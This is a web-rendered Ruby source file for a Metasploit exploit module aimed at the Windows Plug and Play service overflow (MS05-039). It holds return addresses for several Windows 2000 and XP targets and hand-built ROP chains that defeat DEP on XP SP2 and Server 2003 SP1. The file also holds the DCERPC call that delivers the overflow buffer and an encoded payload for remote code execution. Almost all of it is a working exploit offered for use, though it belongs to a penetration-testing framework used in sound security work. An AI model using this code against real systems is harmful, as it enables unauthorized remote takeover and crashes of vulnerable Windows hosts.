root / modules / exploits / windows / smb / ms05_039_pnp.rb @ master
History | View | Annotate | Download (15.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GoodRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::DCERPC |
| 18 |
include Msf::Exploit::Remote::SMB |
| 19 |
|
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'Microsoft Plug and Play Service Overflow', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a stack buffer overflow in the Windows Plug |
| 26 |
and Play service. This vulnerability can be exploited on |
| 27 |
Windows 2000 without a valid user account. |
| 28 |
|
| 29 |
NOTE: Since the PnP service runs inside the service.exe process, a failed |
| 30 |
exploit attempt will cause the system to automatically reboot. |
| 31 |
},
|
| 32 |
'Author' => [ 'hdm', 'cazz' ], |
| 33 |
'License' => MSF_LICENSE, |
| 34 |
'Version' => '$Revision$', |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
[ 'CVE', '2005-1983' ], |
| 38 |
[ 'OSVDB', '18605' ], |
| 39 |
[ 'BID', '14513' ], |
| 40 |
[ 'MSB', 'MS05-039' ] |
| 41 |
], |
| 42 |
'DefaultOptions' =>
|
| 43 |
{
|
| 44 |
'EXITFUNC' => 'thread', |
| 45 |
}, |
| 46 |
'Privileged' => true, |
| 47 |
'Payload' =>
|
| 48 |
{
|
| 49 |
'Space' => 1000, |
| 50 |
'BadChars' => "\x00", |
| 51 |
'StackAdjustment' => -3500, |
| 52 |
}, |
| 53 |
'Platform' => 'win', |
| 54 |
'Targets' =>
|
| 55 |
[ |
| 56 |
[ |
| 57 |
'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm |
| 58 |
{
|
| 59 |
'Ret' => 0x767a38f6, # umpnpmgr.dll |
| 60 |
}, |
| 61 |
], |
| 62 |
[ |
| 63 |
'Windows 2000 SP4 French',
|
| 64 |
{
|
| 65 |
'Ret' => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com> |
| 66 |
}, |
| 67 |
], |
| 68 |
[ |
| 69 |
'Windows 2000 SP4 Spanish',
|
| 70 |
{
|
| 71 |
'Ret' => 0x767738f6, # umpnpmgr.dll |
| 72 |
}, |
| 73 |
], |
| 74 |
[ |
| 75 |
'Windows 2000 SP4 English/French/German/Dutch',
|
| 76 |
{
|
| 77 |
'Ret' => 0x01013C79, # [Pita] [Houmous] <pita@mail.com> |
| 78 |
}, |
| 79 |
], |
| 80 |
[ |
| 81 |
'Windows 2000 SP0-SP4 German',
|
| 82 |
{
|
| 83 |
'Ret' => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de> |
| 84 |
}, |
| 85 |
], |
| 86 |
[ |
| 87 |
'Windows 2000 SP0-SP4 Italian',
|
| 88 |
{
|
| 89 |
'Ret' => 0x7677366f, # acaro <acaro@jervus.it> |
| 90 |
}, |
| 91 |
], |
| 92 |
[ |
| 93 |
'Windows XP SP1 English',
|
| 94 |
{
|
| 95 |
'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.1106 |
| 96 |
'Pipe' => 'ntsvcs', |
| 97 |
'Offset' => 16, |
| 98 |
} |
| 99 |
], |
| 100 |
# NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access
|
| 101 |
# the vulnerable functionality.
|
| 102 |
[ |
| 103 |
'Windows XP SP2 English (Requires Admin)',
|
| 104 |
# SafeSEH enabled, DEP AlwaysOn
|
| 105 |
{
|
| 106 |
#'Ret' => 0x41424344,
|
| 107 |
'Ret' => 0x758d2bb3, # pop eax / ret 0x8 |
| 108 |
'Pipe' => 'ntsvcs', |
| 109 |
'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.2180 |
| 110 |
'Offset' => 72, |
| 111 |
'EspOffset' => 108, |
| 112 |
'RopStack' =>
|
| 113 |
# All addresses are from umpnpmgr.dll v5.2.3790.1830
|
| 114 |
[ |
| 115 |
#
|
| 116 |
# Step 1. Allocate an executable heap with HeapCreate
|
| 117 |
#
|
| 118 |
# Resolve HeapCreate from import
|
| 119 |
0x758c1148, # pointer to HeapCreate import |
| 120 |
0x758c2950, # mov eax, [eax] / pop ebp / ret 0x8 |
| 121 |
0x41414141, # scratch |
| 122 |
0x41414141, # scratch |
| 123 |
#0x758da008, # becomes ebp (something writable)
|
| 124 |
0x758da1c8-0xc, # becomes ebp (writable, used later) |
| 125 |
|
| 126 |
# Call HeapCreate
|
| 127 |
0x758cb728, # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc |
| 128 |
0x41414141, # scratch |
| 129 |
0x41414141, # scratch |
| 130 |
0x01040110, # flOptions (gets & with 0x40005) |
| 131 |
0x01010101,
|
| 132 |
0x01010101,
|
| 133 |
0x758ce552, # becomes edi - pop edi,esi / ret |
| 134 |
0x758cdd7e, # becomes esi - pop esi,ebx,ebp / ret 0x4 |
| 135 |
0x41414141, # becomes ebx |
| 136 |
0x41414141, # becomes ebp |
| 137 |
|
| 138 |
# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
|
| 139 |
0x758d45f3, # or eax,0x8000 / pop ebp / ret 0x4 |
| 140 |
0x41414141, # scratch |
| 141 |
0x41414141, # scratch |
| 142 |
0x41414141, # scratch |
| 143 |
0x41414141, # becomes ebp |
| 144 |
|
| 145 |
# save eax to ebx
|
| 146 |
0x758ce0d5, # push eax / call esi |
| 147 |
0x41414141, # scratch |
| 148 |
0x758da008+0x18, # becomes ebp |
| 149 |
|
| 150 |
# Setup eax to load our saved stack pointer
|
| 151 |
0x758d18db, # pop eax / ret 0xc |
| 152 |
0x41414141, # scratch |
| 153 |
0x758c524e, # becomes eax - pop ebp / ret 0x8 |
| 154 |
#0x758c2423, # becomes eax - pop esi,ebp / ret 0x8
|
| 155 |
|
| 156 |
# Store a pointer to the stack to a known address (ebp-0x18), flows to eax after
|
| 157 |
0x758c1281, # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret |
| 158 |
0x41414141, # scratch |
| 159 |
0x41414141, # scratch |
| 160 |
0x41414141, # scratch |
| 161 |
#0xcafebabe, # becomes esi
|
| 162 |
0x758da008-0x10, # becomes ebp |
| 163 |
|
| 164 |
# Call lstrcpyW to copy shellcode into executable heap
|
| 165 |
0x758c542e, # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi |
| 166 |
0x41414141, # scratch |
| 167 |
0x41414141, # scratch |
| 168 |
|
| 169 |
# Skip the junk
|
| 170 |
0x758c96f6, # add al,0x3b / ret |
| 171 |
|
| 172 |
# Call the executable segment!
|
| 173 |
0x758c3b62 # call eax |
| 174 |
] |
| 175 |
} |
| 176 |
], |
| 177 |
[ |
| 178 |
'Windows Server 2003 SP0 English (Requires Admin)',
|
| 179 |
# SafeSEH unsupported, DEP unsupported
|
| 180 |
{
|
| 181 |
'Ret' => 0x780df756, # push esp / ret in msvcp60.dll |
| 182 |
'Pipe' => 'ntsvcs', |
| 183 |
'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll |
| 184 |
'Offset' => 72, |
| 185 |
} |
| 186 |
], |
| 187 |
[ |
| 188 |
'Windows Server 2003 SP1 English (Requires Admin)',
|
| 189 |
# SafeSEH enabled, DEP AlwaysOn
|
| 190 |
{
|
| 191 |
'Pipe' => 'ntsvcs', |
| 192 |
# We will need to bypass DEP!
|
| 193 |
#'Ret' => 0x41424344,
|
| 194 |
'Ret' => 0x757873d5, # pop eax / ret 0x4 |
| 195 |
'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll |
| 196 |
'Offset' => 72, # offset to saved eip |
| 197 |
'EspOffset' => 108, # Offset to where esp ends up pointing |
| 198 |
'RopStack' => # NOTE: 0x41414141 will become random data |
| 199 |
# All addresses are from umpnpmgr.dll v5.2.3790.1830
|
| 200 |
[ |
| 201 |
#
|
| 202 |
# Step 1. Allocate an executable heap with HeapCreate
|
| 203 |
#
|
| 204 |
# Resolve HeapCreate from import
|
| 205 |
0x75771144, # pointer to HeapCreate import |
| 206 |
0x75772e68, # mov eax, [eax] / pop ebp / ret |
| 207 |
0x41414141, # scratch |
| 208 |
0x41414141, # becomes ebp |
| 209 |
# Call HeapCreate
|
| 210 |
0x7578bc37, # jmp eax |
| 211 |
0x41414141, # scratch |
| 212 |
0x41414141, # scratch |
| 213 |
# Save the new heap address in edi
|
| 214 |
0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10 |
| 215 |
0x01040110, # flOptions (gets & with 0x40005) |
| 216 |
0x01010101,
|
| 217 |
0x01010101,
|
| 218 |
|
| 219 |
#
|
| 220 |
# Step 2. Allocate a buffer using this new heap.
|
| 221 |
#
|
| 222 |
0x757873d5, # pop eax / ret 0x4 |
| 223 |
0x41414141, # scratch |
| 224 |
0x41414141, # scratch |
| 225 |
0x41414141, # scratch |
| 226 |
0x41414141, # scratch |
| 227 |
# Resolve HeapAlloc from import
|
| 228 |
0x7577115c, # pointer to HeapAlloc import |
| 229 |
0x75772e68, # mov eax, [eax] / pop ebp / ret |
| 230 |
0x41414141, # scratch |
| 231 |
0x41414141, # becomes ebp |
| 232 |
# Save the address of HeapAlloc in esi
|
| 233 |
0x75777ae0, # xchg eax,esi / mov dl,0xff / dec ecx / ret |
| 234 |
0x41414141, # scratch |
| 235 |
0x41414141, # scratch |
| 236 |
# Call HeapAlloc
|
| 237 |
0x7578bb6b, # push edi / call esi / pop edi,esi,ebp / ret |
| 238 |
0xffffffff, # flags |
| 239 |
0x00010001, # allocation size |
| 240 |
0x0101018d, # becomes edi / first byte stored |
| 241 |
0x7577835c, # becomes esi - pop esi / pop ebx / ret |
| 242 |
0x757830c3, # becomes ebp/eip - pop esi / ret |
| 243 |
|
| 244 |
#
|
| 245 |
# Step 3. Save the heap address into ebx
|
| 246 |
#
|
| 247 |
0x7578308f, # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi |
| 248 |
0x41414141, # scratch |
| 249 |
# Put heap address in edi
|
| 250 |
0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10 |
| 251 |
|
| 252 |
#
|
| 253 |
# Step 4. Write stub:
|
| 254 |
#
|
| 255 |
# metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:
|
| 256 |
# "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"
|
| 257 |
#
|
| 258 |
# Store the first byte.
|
| 259 |
0x7578be14, # stosb / ret |
| 260 |
0x41414141, # scratch |
| 261 |
0x41414141, # scratch |
| 262 |
0x41414141, # scratch |
| 263 |
0x41414141, # scratch |
| 264 |
# Store another byte!
|
| 265 |
0x757873d5, # pop eax / ret 0x4 |
| 266 |
0x01010174, # next byte to write |
| 267 |
0x7578be14, # stosb / ret |
| 268 |
0x41414141, # scratch |
| 269 |
# Store another byte!
|
| 270 |
0x757873d5, # pop eax / ret 0x4 |
| 271 |
0x01010124, # next byte to write |
| 272 |
0x7578be14, # stosb / ret |
| 273 |
0x41414141, # scratch |
| 274 |
# Store another byte!
|
| 275 |
0x757873d5, # pop eax / ret 0x4 |
| 276 |
0x01010104, # next byte to write |
| 277 |
0x7578be14, # stosb / ret |
| 278 |
0x41414141, # scratch |
| 279 |
# Store another byte!
|
| 280 |
0x757873d5, # pop eax / ret 0x4 |
| 281 |
0x010101ac, # next byte to write |
| 282 |
0x7578be14, # stosb / ret |
| 283 |
0x41414141, # scratch |
| 284 |
# Store another byte!
|
| 285 |
0x757873d5, # pop eax / ret 0x4 |
| 286 |
0x01010184, # next byte to write |
| 287 |
0x7578be14, # stosb / ret |
| 288 |
0x41414141, # scratch |
| 289 |
# Store another byte!
|
| 290 |
0x757873d5, # pop eax / ret 0x4 |
| 291 |
0x010101c0, # next byte to write |
| 292 |
0x7578be14, # stosb / ret |
| 293 |
0x41414141, # scratch |
| 294 |
# Store another byte!
|
| 295 |
0x757873d5, # pop eax / ret 0x4 |
| 296 |
0x01010174, # next byte to write |
| 297 |
0x7578be14, # stosb / ret |
| 298 |
0x41414141, # scratch |
| 299 |
# Store another byte!
|
| 300 |
0x757873d5, # pop eax / ret 0x4 |
| 301 |
0x01010103, # next byte to write |
| 302 |
0x7578be14, # stosb / ret |
| 303 |
0x41414141, # scratch |
| 304 |
# Store another byte!
|
| 305 |
0x757873d5, # pop eax / ret 0x4 |
| 306 |
0x010101aa, # next byte to write |
| 307 |
0x7578be14, # stosb / ret |
| 308 |
0x41414141, # scratch |
| 309 |
# Store another byte!
|
| 310 |
0x757873d5, # pop eax / ret 0x4 |
| 311 |
0x010101eb, # next byte to write |
| 312 |
0x7578be14, # stosb / ret |
| 313 |
0x41414141, # scratch |
| 314 |
# Store another byte!
|
| 315 |
0x757873d5, # pop eax / ret 0x4 |
| 316 |
0x010101f8, # next byte to write |
| 317 |
0x7578be14, # stosb / ret |
| 318 |
0x41414141, # scratch |
| 319 |
|
| 320 |
#
|
| 321 |
# Step 5. Finally, call our executable heap buffer.
|
| 322 |
#
|
| 323 |
0x75783efe # call ebx |
| 324 |
] |
| 325 |
} |
| 326 |
] |
| 327 |
], |
| 328 |
'DefaultTarget' => 0, |
| 329 |
'DisclosureDate' => 'Aug 9 2005')) |
| 330 |
|
| 331 |
register_options( |
| 332 |
[ |
| 333 |
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']), |
| 334 |
], self.class)
|
| 335 |
|
| 336 |
end
|
| 337 |
|
| 338 |
def pnp_probe(req, pipe = datastore['SMBPIPE']) |
| 339 |
|
| 340 |
print_status("Connecting to the SMB service...")
|
| 341 |
begin
|
| 342 |
connect() |
| 343 |
smb_login() |
| 344 |
rescue ::Exception => e |
| 345 |
print_error("Error: #{e.class} #{e}")
|
| 346 |
end
|
| 347 |
|
| 348 |
handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"]) |
| 349 |
print_status("Binding to #{handle} ...")
|
| 350 |
dcerpc_bind(handle) |
| 351 |
print_status("Bound to #{handle} ...")
|
| 352 |
|
| 353 |
# CS_DES
|
| 354 |
cs_des = |
| 355 |
NDR.long(0) + # CSD_SignatureLength |
| 356 |
NDR.long(0) + # CSD_LegacyDataOffset |
| 357 |
NDR.long(req.length) + # CSD_LegacyDataSize |
| 358 |
NDR.long(0) + # CSD_Flags |
| 359 |
rand_text(16) + # GUID |
| 360 |
req # CSD_LegacyData
|
| 361 |
|
| 362 |
# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
|
| 363 |
|
| 364 |
# ResourceName:
|
| 365 |
stubdata = |
| 366 |
NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID |
| 367 |
NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific |
| 368 |
NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure) |
| 369 |
NDR.long(cs_des.length) + # ResourceLen |
| 370 |
NDR.long(4) + # OutputLen (at least 4) |
| 371 |
NDR.long(0) # Flags |
| 372 |
|
| 373 |
print_status("Calling the vulnerable function...")
|
| 374 |
|
| 375 |
begin
|
| 376 |
dcerpc.call(0x36, stubdata)
|
| 377 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse |
| 378 |
print_status('Server did not respond, this is expected')
|
| 379 |
rescue => e
|
| 380 |
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ |
| 381 |
print_status('Server disconnected, this is expected')
|
| 382 |
else
|
| 383 |
raise e |
| 384 |
end
|
| 385 |
end
|
| 386 |
|
| 387 |
# Cleanup
|
| 388 |
disconnect |
| 389 |
|
| 390 |
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and |
| 391 |
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
|
| 392 |
return true |
| 393 |
else
|
| 394 |
return false |
| 395 |
end
|
| 396 |
end
|
| 397 |
|
| 398 |
def check |
| 399 |
if (pnp_probe('A')) |
| 400 |
return Exploit::CheckCode::Vulnerable |
| 401 |
end
|
| 402 |
return Exploit::CheckCode::Safe |
| 403 |
end
|
| 404 |
|
| 405 |
def exploit |
| 406 |
# If PtrToZero is set, we use saved-ret-overwrite instead of SEH.
|
| 407 |
if target['PtrToZero'] then |
| 408 |
eip_off = target['Offset']
|
| 409 |
nul_off = eip_off + 8
|
| 410 |
|
| 411 |
# DEP Bypass version (2003 SP1)
|
| 412 |
if target['RopStack'] |
| 413 |
esp_off = target['EspOffset']
|
| 414 |
|
| 415 |
# Start with a randomized base buffer
|
| 416 |
rop_length = target['RopStack'].length * 4 |
| 417 |
print_status("ROP Data is %u bytes" % rop_length)
|
| 418 |
buf = rand_text(esp_off + rop_length) |
| 419 |
|
| 420 |
# Put the rest of the stack data at where esp ends up...
|
| 421 |
target['RopStack'].each_with_index { |el,idx|
|
| 422 |
if el != 0x41414141 |
| 423 |
buf[esp_off + (idx*4), 4] = [el].pack('V') |
| 424 |
end
|
| 425 |
} |
| 426 |
else
|
| 427 |
# Start with a randomized base buffer
|
| 428 |
buf = rand_text(nul_off) |
| 429 |
end
|
| 430 |
|
| 431 |
# This becomes EIP
|
| 432 |
buf[eip_off,4] = [target.ret].pack('V') |
| 433 |
|
| 434 |
# Pointer to NULL (4 zero bytes)
|
| 435 |
buf[nul_off,4] = [target['PtrToZero']].pack('V') |
| 436 |
else
|
| 437 |
# Pad the string up to reach our SEH frame
|
| 438 |
buf = rand_text(target['Offset'] ? target['Offset'] : 56) |
| 439 |
|
| 440 |
# Jump over the address and our invalid pointer to the payload
|
| 441 |
buf << Rex::Arch::X86.jmp_short('$+32') |
| 442 |
buf << rand_text(2)
|
| 443 |
|
| 444 |
# The SEH handler pointer
|
| 445 |
buf << [target.ret].pack('V')
|
| 446 |
|
| 447 |
# Some padding to reach the next pointer
|
| 448 |
buf << rand_text(20)
|
| 449 |
|
| 450 |
# ResourceName - cause access violation on RtlInitUnicodeString
|
| 451 |
buf << rand_text(3) + "\xff" |
| 452 |
end
|
| 453 |
|
| 454 |
# Append the encoded payload and we are good to go!
|
| 455 |
buf << payload.encoded |
| 456 |
|
| 457 |
# Determine which pipe to use
|
| 458 |
pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE'] |
| 459 |
|
| 460 |
pnp_probe(buf, pipe) |
| 461 |
|
| 462 |
print_status('The server should have executed our payload')
|
| 463 |
|
| 464 |
handler |
| 465 |
end
|
| 466 |
|
| 467 |
end
|